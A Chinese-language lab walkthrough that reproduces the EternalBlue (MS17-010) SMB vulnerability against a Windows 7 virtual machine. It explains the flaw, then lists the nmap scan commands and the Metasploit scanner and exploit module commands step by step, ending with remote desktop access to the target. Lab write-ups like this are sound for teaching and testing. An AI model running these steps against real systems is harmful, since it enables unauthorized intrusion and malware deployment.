MS010-17永恒之蓝漏洞复现

ms17-010漏洞(永恒之蓝)

原理：

永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞，这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

SMB协议:

SMB（全称是Server Message Block）是一个协议服务器信息块，它是一种客户机/服务器、请求/响应协议，通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源，电脑上的网上邻居就是靠SMB实现的；SMB协议工作在应用层和会话层，可以用在TCP/IP协议之上，SMB使用TCP139端口和TCP445端口

攻击方式:

 恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

本次黑客使用的是Petya勒索病毒的变种Petwarp，攻击时仍然使用了永恒之蓝勒索漏洞，并会获取系统用户名与密码进行内网传播。

本次爆发使用了已知OFFICE漏洞、永恒之蓝SMB漏洞、局域网感染等网络自我复制技术，使得病毒可以在短时间内呈爆发态势。同时，该病毒与普通勒索病毒不同，其不会对电脑中的每个文件都进行加密，而是通过加密硬盘驱动器主文件表(MFT)，使主引导记录(MBR)不可操作，通过占用物理磁盘上的文件名，大小和位置的信息来限制对完整系统的访问，从而让电脑无法启动，相较普通勒索病毒对系统更具破坏性。

靶机：windows7 x64

攻击机：kali linux 2024

准备工作:win7在控制面板中关闭防火墙

1，win7设置为NAT模式，并记录其MAC地址

2，在攻击机上进行信息收集，首先获取win7的IP地址

Win7的IP地址记录为192.168.23.171

3，对靶机进行进一步扫描

nmap -T4 -O -v -sV 192.168.23.171

参数：-T4   设置时序模板，（0-5），扫描速度，越大越快

-O  操作系统的识别； -v   提高输出信息的详细程度； -sV  服务识别

可以看到，靶机的445端口开放，连带着后面的服务：microsoft-ds，靶机系统版本

4，扫描445端口提供服务的漏洞和编号

nmap --script=vuln 192.168.23.171 -v

--script  ##使用脚本扫描

vuln      ##使用常规漏洞扫描脚本

看到了ms017-010漏洞的信息

5，打开metasploit msfconsole

6，搜索ms17-010相关模块，可以看到一共找到了6个不同的模块（选项0——5）

7，加载扫描模块（选项1）

use auxiliary/scanner/smb/smb_ms17_010

8，查看配置选项 show options

9,RHOSTS显示远程主机未配置，配置目标主机。

set rhosts 192.168.23.171

10,开始扫描漏洞，再次证实靶机存在MS17-010漏洞。 Exploit

11,使用永恒之蓝攻击模块：use exploit/windows/smb/ms17_010_eternalblue

并设置攻击载荷：set payload

12,查看选项

查看选项并设置rhosts:set rhosts 192.168.23.171

13，开始攻击 exploit

成功的标志

14，屏幕捕获

15，启动远程桌面

16，使用 rdesktop 命令远程连接桌面

渗透完成

声明：部分内容来自于网络，如有侵权联系删除